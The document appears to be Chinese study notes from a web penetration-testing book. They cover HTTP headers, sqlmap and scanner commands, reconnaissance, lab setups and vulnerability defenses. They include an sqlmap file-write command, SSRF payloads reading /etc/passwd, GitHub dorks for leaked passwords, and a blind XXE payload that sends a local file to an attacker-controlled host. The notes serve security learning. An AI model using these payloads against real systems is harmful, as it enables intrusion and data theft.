第1章 HTTP基本概念

HTTP请求

  1. HTTP1.1版本必须使用Host请求
  2. Accept表示浏览器支持的MIME(多用途互联网邮件扩展)类型,浏览器支持text/html,application/xhtml+xml,application/xml,/,优先顺序从左往右。
    • 可称为媒体类型和内容类型
    • 斜杠“/”前是type类型,后是subtype子类型
    • text:标准化表示文本信息
    • text/html:表示html文档
    • application:传输应用程序数据或二进制数据
    • application/xhtml:表示xhtml文档
    • application/xml:表示xml文档
  3. Referer消息头:早期规范中存在拼写错误,正确的是Refferrer,为了向后兼容,就将错就错。
  4. Accept-Language:en,zh-CN;q=0.9,zh;q=0.8,q是权重系数,q值越大,请求越倾向于获得其“;”之前的类型表示的内容

HTTP响应

  1. Pragma:表示浏览器不要将响应保存在缓存中
  2. Content-Type:消息头表示这个消息主体中包含一个HTML文档
  3. Content-Length:消息头规定消息主体的字节长度
  4. Cookie
    • Secure:设置这个属性,则仅在HTTPS请求中提交Cookie
    • HTTPOnly:设置这个属性,将无法通过客户端JavaScript直接访问Cookie

第2章 工具实战

  1. Kali Linux

  2. PentestBox

  3. Burp Suite

  4. phpStudy

  5. sqlmap

    • level等级1-5,等级越高payload越多,速度越慢
    • risk等级0-3,等级越高测试语句越多
    • -p指定检测参数:sqlmap -u "www.test.com?id1&page=2" -p id
    • 绕过waf:sqlmap -u "www.test.com?id=1" --tamper xx.py
    • 指定注入模式:sqlmap -u "www.test.com?id=1" --technique(B/E/U/S/T)(B:布尔,E:报错,U:联合查询,S:可多语句查询,T:基于时间)
    • POST注入包:sqlmap -r test.txt
    • 写入文件:sqlmap -u "www.test.com?name=kobe&submit=x" -p kobe --texchnique U --file-write "本地文件" --file-dest "网站绝对路径+文件名"
  6. Behinder

  7. awvs

  8. oneforall子域名收集

    • python3 oneforall.py --target example.com run
    • python3 oneforall.py --target example.com --brute True run
    • python3 oneforall.py --target example.com --dns False run
    • python3 oneforall.py --target example.com --req False run
  9. dirsearch

    • python3 dirsearch.py -u http://www.test.com/ -e php
    • python3 dirsearch.py -u http://www.test.com/ -e php --random-user
    • python3 dirsearch.py -u http://www.test.com/ -e php -r -R 2
    • python3 dirsearch.py -u http://www.test.com/ -e php -w test.txt
    • python3 dirsearch.py -u http://www.test.com/ -e php -x 403,301,302,401
  10. xray

  • 使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描:xray webscan --basic-crawler http://example.com --html-output vuln.html
  • 使用 HTTP 代理进行被动扫描:xray webscan --basic-crawler http://example.com --html-output vuln.html
  • 只扫描单个 url,不使用爬虫:xray webscan --url http://example.com/?a=b --html-output single-url.html
  • 手动指定本次运行的插件:xray websca n --plugins cmd-injection,sqldet --url http://example.com
  • xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
  • 指定插件输出:xray webscan --url http://example.com/?a=b \ --text-output result.txt --json-output result.json --html-output report.html
  • xray servicescan --target 127.0.0.1:8080

第3章 信息收集

信息收集指的是一种提前踩点动作,获取信息的过程就叫做踩点,踩点是为了进行信息的收集。

渗透测试过程中,第一件要做的事就是进行信息的收集,俗称踩点。

了解安全架构

  1. 某公司使用了哪些安全设备,防火墙、waf等
  2. 网络安全人员或管理人员的配置情况
  3. 规范制度是否完善

建立信息数据库

重要信息 信息
网址 www.xxx
ip地址 10.2.7.9
是否使用cms dedecms
网站端口 80

网站敏感信息

网站及服务器信息

知道域名,首先通过whois数据库进行查询

默认kali自带

针对收集到的邮箱、QQ号、电话号码、姓名及服务商等信息,有针对性进行社工库查找相关管理员信息,也可以对相关dns服务商进行渗透,查看是否有漏洞。

域名枚举

进行基本域名收集以后,通过主域名得到所有子域名,可以找到更多ip地址

fierce工具:fierce -dns domainNamefierce -dns domainName -wordlist /root/wordlist.txt

正常情况下,收集完二级域名后,就可以进行常规漏洞扫描。(注意用代理)

nslookup

交互式和非交互式

NS记录:域名服务器记录,记录该域名有哪台域名服务器解析。

非交互式语法:nslookup [-option] [hostname] [server](hostname指定查询的主机名,server指定dns服务器)

nslookup -type=ns jd.com(-type选项和-qt一样)
nslookup -qt=mx taobao.com

交互式

1
2
3
4
>nslookup
>server dns.test.com
>ls test.com
>exit

通过敏感信息可以获取

  1. 网络拓扑结构,服务器集中的IP地址段
  2. 数据库服务器的IP地址
  3. 测试服务器ip地址
  4. vpn服务器ip

dig

dig+域名
dig www.baidu.com any
-c协议类型:IN、CH、HS
-f批量查询dig -f 1.txt -c IN -t A
-t设置查询类型,A、MX
-q显示设置域名
-x逆向查询
+trace跟踪全过程
+nocmd精简输出
+short仅输出最精简的cname和a记录

域传送数据:dig @dns.test.com axfr test.com,axfr后面跟域名称,只要出现XFR Size就存在漏洞。

多级域名敏感信息

nmap

-T+数字,数字越高,扫描速度越快

subDomainsBrute二级域名收集

layer子域名挖掘机

wydomain

搜索引擎查找域名信息

搜索引擎是指根据一定的策略、运用特定的计算机程序从互联网上搜集信息,对信息进行组织和处理后,为用户提供检索服务,并将检索的相关信息展示给用户的系统。搜索引擎包括全文搜索引擎、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表等。

通过搜索引擎进行快速定位,可以发现网站尽可能多的漏洞点,以及更容易下手的方式。具体操作步骤如下。

第一步:爬行。
搜索引擎通过一种特定规律的软件跟踪网页的链接,从一个链接爬到另外一个链接,像蜘蛛在蜘蛛网上爬行一样,所以也被称为“蜘蛛”或“机器人”。搜索引擎蜘蛛的爬行是被输入了一定的规则的,它需要遵从一些命令或文件的内容。

第二步:抓取存储。
搜索引擎通过蜘蛛跟踪链接爬行到网页,并将爬行的数据存入原始页面数据库。其中的页面数据与用户浏览器得到的HTML是完全一样的。搜索引擎蜘蛛在抓取页面时,也要做一定的重复内容检测,一旦遇到权重很低的网站上有大量抄袭、采集或复制内容的情况,很可能就不再爬行。

第三步:预处理。
搜索引擎将蜘蛛抓取回来的页面,进行各种步骤的预处理。
(1)提取文字。
(2)中文分词。
(3)去停止词。
(4)消除噪声(搜索引擎需要识别并消除这些噪声,如版权声明文字、导航条、广告等)。
(5)正向索引。
(6)倒排索引。
(7)链接关系计算。
(8)特殊文件处理

除了HTML文件外,搜索引擎通常还能抓取和索引以文字为基础的多种文件类型,如PDF、Word、WPS、XLS、PPT、TXT等文件。我们在搜索结果中也经常会看到这些文件类型。但搜索引擎还不能处理图片、视频、Flash这类非文字内容,也不能执行脚本和程序。

第四步:排名。
用户在搜索框中输入关键词后,排名程序调用索引库数据,将计算排名显示给用户,排名过程与用户是直接互动的。但是,由于搜索引擎的数据量庞大,虽然能实现每日都有小的更新,但是一般情况下搜索引擎的排名规则都是根据日、周、月进行阶段性、不同幅度的更新。

ZoomEye

bing搜索:inanchor:inbody:,可同时使用,例如inanchor:msn inbody:seo inbody:sem

theHarverster

1
2
3
4
5
-d 域名
-l 显示数目
-b 调用搜索引擎(baidu,google,bing,bingapi,pgp,linkedin,all)
-f 结果保存html和xml文件
-h 使用shodan
  1. PentestBox
  2. kali
    theHarvester -d qq.com -l 100 -b baidu

FOFA

C段信息收集

所谓C段就是指ip地址前三个字段值不变,只变动最后一个字段,从1-255将所有主机扫一遍。

利用Layer子域名挖掘机扫出二级域名以及对应ip地址,将这些地址放到nmap扫C段。

nmap C段收集

nmap -T4 -A -v 192.168.0.1/24
nmap -T4 -A -v 192.168.0.1-255

御剑C段信息收集

AWVS C段信息收集

实战演示

  1. 敏感信息收集工具
  • 学会活用搜索引擎和搜索语法
1
2
3
4
5
6
7
https://github.com/ring04h/weakfilescan
https://github.com/lijiejie/BBScan
https://github.bit4woo/teemo
whatweb
dnsenum
github

  1. 软件敏感信息

    • 操作系统版本,nmap
    • 中间件类型、版本、http返回头、404报错页面,whatweb
    • web程序,whatweb、cms_identify
  2. web敏感信息

  • phpinfo()信息泄露
  • 测试网页泄露外网:test.cgi、phpinfo.php、info.php等
  • 编辑器备份文件泄露外网
    • test.php.swp
    • test.php.bak
    • test.jsp.old
    • cgi~
  • 版本工具泄露
    • .git/config
    • CVS/Entriesp
    • .svn/entriesp
  • http认证信息泄露
    • basic/index.php
    • web目录开启了http basic认证,但未限制ip,可暴力破解账户密码
  • 管理后台地址泄露
    • login.php
    • admin.php
    • manager.php
    • admin_login.php
  • 泄露员工邮箱、分机号码:可被社工、生成字典
  • 错误页面暴露信息: mysql错误、php错误、暴露cms版本等
  • 探针文件
  • robots.txt
  • phpmyadmin
  • 网站源码备份文件(www.rar/sitername.tar.gz/web/zip等)
  • 其他
  1. 网络信息泄露:dns域传送漏洞、运维监控系统弱口令、网络拓扑泄露、zabbix弱口令等
  2. 第三方软件应用
    • github上的源代码、数据库、邮箱密码等泄露,可搜索类似"smtp 163 password"
    • 百度网盘被员工上传敏感文件
    • QQ群被员工上传敏感文件

信息泄露案例

网页设计不当导致信息泄露

  • 访问url,列出目录文件列表
  • 输出错误url参数报错,显示banner信息
  • 源代码(html、css、js)包含敏感信息,如后台地址、内网接口信息等(特别是注释可能包含)

容器或网页源代码查看敏感信息

把敏感信息写在注释里,上线后忘记删除

whois查找网页敏感信息

whois用来查询域名是否注册,以及注册域名信息的数据库

通过whois查询可以获得域名注册者、邮箱、地址等信息。

一般情况下,对于中小型网站来说,域名注册者就是网络管理员,利用搜索引擎对whois查询到的信息进行搜索,可以获取更多域名注册者信息。下一步可以利用网站注册者去找真实注册人,再通过qq邮箱或手机号码等敏感信息,利用第三方关联网站进行溯源。

whois查询方法

  1. web接口查询:whois.aizhan.comrobtex.com
  2. whois命令查询

备案敏感信息

ipc备案查询方法

CMS网站敏感信息

根据cms指纹识别,收集相应版本号,精准寻找exp。例如,查出wordpress3.1,去exploit-db网站找exp测试。

  1. 在线工具
  1. 本地工具:御剑web指纹识别、大禹cms识别等,以及在线cms指纹识别。

cms漏洞查找

  • 乌云漏洞库
  • 安全漏洞平台

敏感目录查找

常用探测工具

  • 御剑后台扫描工具
  • wwwscan命令行工具
  • dirb命令工具
  • dirbuster扫描工具
  • teemo工具
  • subdomain

端口信息

github信息收集

1
2
3
4
5
6
7
site:github.com smtp 
site:github.com smtp @qq
site:github.com sa password
site:github.com root password
site:github.com svn
site:github.com svn username
site:github.com ftp ftppassword

绕过CDN找真实ip

  1. 判断cdn是否存在:通过设置代理ping检测或在线ping检测网站使用不同地区的ping服务器(站长之家ping检测)来测试,响应ip不一样说明存在cdn。

  2. 绕过cdn

  • 内部邮箱源:收集到内部邮箱服务器ip地址
  • 网站phpinfo文件
  • 分站ip地址,查询子域名:cdn花费很高,很有可能分站后不适用cdn
  • 通过国外网站获取ip地址(使用代理进行ping,选择一个很偏的国家)

敏感文件泄露

ssrf或任意url链接跳转

账号密码泄露

在源码注释中

错误处理测试

组织架构敏感信息

百度文库查找敏感信息

查找产品安装手册或企业敏感信息,如vpn、邮箱、oa等应用使用手册或应用安装手册(默认账户口令)等

威胁情报平台

riskiq

第4章 靶场搭建

dvwa

xvwa

webug

dsvw

pikachu

upload-labs

sqli-labs

vulhub

root me

vulnstack

第5章 Web安全入门

SQL注入漏洞

防御手段

  1. 使用参数化查询
  2. 使用安全的API
  3. 使用白名单来规范化输入验证方法
  4. 对输入的特殊字符进行Escape转移处理

XSS漏洞

防御手段

  1. 对用户输入的数据进行合法性检查
  2. 使用filter过滤敏感字符或进行编码转义
  3. 针对特定类型数据进行格式化检查
  4. 对输出内容进行编码转义

CSRF漏洞

防御手段

  1. 验证Referer字段是否来自本站
  2. 请求中加入token

SSRF漏洞

防御手段

  1. 禁止跳转
  2. 限制协议
  3. 内外网限制
  4. url限制

XXE漏洞

防御手段

  1. 打开PHP的libxml_disable_entity_loader(true),禁止加载外部实体
  2. 过滤用户提交的XML数据,如ENTITY,SYSTEM

反序列

防御手段

  1. 禁止把用户的输入或用户可控的参数值直接放进反序列化的操作中

文件上传漏洞

防御手段

  1. 白名单限制上传文件后缀名,只允许上传图片格式文件
  2. 配置白名单限制上传文件类型,只允许上传图片类型文件
  3. 限制上传文件大小
  4. 对上传文件进行重命名操作

任意文件下载漏洞

防御手段

  1. 过滤…/等敏感字符,用户在URL中不能回溯上级目录
  2. 文件下载时判断输入的路径
  3. php.ini配置open_basedir限定文件访问范围

远程代码执行漏洞

防御手段

  1. 尽量少用执行命令的函数或禁用
  2. 参数值尽量使用引号包含,拼接前调用addshlasher函数进行转义

越权漏洞

防御手段

  1. 前后端同时对用户输入信息进行检验,设置双重验证机制
  2. 执行关键操作之前必须验证用户身份,验证用户是否具备操作数据的权限
  3. 直接对象引用的加密资源ID,防止攻击者枚举ID

第6章 小试牛刀

信息收集

子域名、端口、ip、应用类型、敏感信息等

漏洞利用

暴力破解、弱口令、WebShell上传等

phpmyadmin弱口令+写入WebShell

网站存在会员登录功能,后台弱口令+爆破

前台模板写入WebShell+冰蝎连接

内网利用

使用CS+MSF+kali全局代理

1
2
3
4
vim /etc/proxychains.conf
添加 socks4 127.0.0.1 9999

proxychains msfconsole

第7章 SQL注入实战攻防

sqlmap

第8章 XSS漏洞实战攻防

bruteXSS
XSSer
xss平台:bluelotusxssreceiver

第9章 CSRF漏洞实战攻防

burp+engagement tools+Generate CSRF PoC

第10章 SSRF漏洞

1
2
3
4
5
6
image=http://127.0.0.1:22
image=file:///etc/passwd
image=dict://127.0.0.1:22/data:data2
image=gopher://127.0.0.1:2233/_test
image=

漏洞检测点

  1. 分享:通过url地址分享文章,url参数
  2. 图片加载与下载:通过url地址加载或下载图片,存在于很多编辑器中,编辑器上传图片处
  3. 图片、文章收藏功能:title参数是文章标题地址,代表一个文章的链接地址
  4. 利用参数中的关键字来查找
1
2
3
4
5
6
7
8
9
10
11
12
13
14
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

绕过

  1. 限制为http://www.xxx.com域名:尝试采用http基本身份认证方式绕过,针对不同处理函数存在处理差异,例如:在http://www.aaa.com@www.bbb.com@www.ccc.com中,php的parse_url会识别www.ccc.com,libcurl识别为www.bbb.com
  2. 限制请求ip不为内网地址
  1. 限制请求只为http协议
  • 302跳转
  • 百度短地址
  • 使用https://tinyurl.com生成302跳转地址

第11章 任意文件上传实战攻防

文件上传常见点

  1. 上传头像
  2. 上传相册
  3. 上传附件
  4. 添加文章图片
  5. 前台留言资料上传
  6. 编辑器上传点

利用工具进行Fuzz

github+upload-fuzz-dic-builder+bp爆破

docker-compose logs | grep password

第12章 业务逻辑漏洞实战攻防

第13章 未授权访问实战攻防

第14章 XXE漏洞实战攻防

DTD

  1. 内部DOCTYPE声明:<!DOCTYPE 根元素 [元素声明]>
  2. 外部文档声明:<!DOCTYPE 根元素 SYSTEM "文件名">

DTD实体

  1. 内部实体声明:<!ENTITY 实体名称 "实体的值">

  2. 外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">

  3. 参数实体声明:<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">

  4. 参数实体用%实体名称声明,引用时也用%实体名称;其余实体直接用实体名称声明,引用时用&实体名称。

  5. 参数实体只能在DTD中声明,DTD中引用;其余实体只能在DTD中声明,可在XML文档中引用。

XXE分类

按构造实体声明
  1. 直接通过DTD外部实体声明
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;</hhh>

  1. 通过DTD文档引入外部DTD文档中的外部实体声明
1
2
3
4
5
6
7
8
xml:
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
<hhh>&f;</hhh>

dtd:
<!ENTITY f SYSTEM "file:///etc/passwd">

  1. 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
1
2
3
4
5
6
7
8
9
10
11
xml:
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>

<hhh>&f;</hhh>

dtd:
<!ENTITY f SYSTEM "file:///etc/passwd">

按回显信息
  1. 正常回显xxe
  2. 报错xxe
  3. blind xxe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
xml:
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者ip/Quan.xml">
%remote;
%all;

]>

<hhh>%send;</hhh>

Quan.xml:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

第15章 文件下载漏洞实战攻防

第16章 反序列化漏洞实战攻防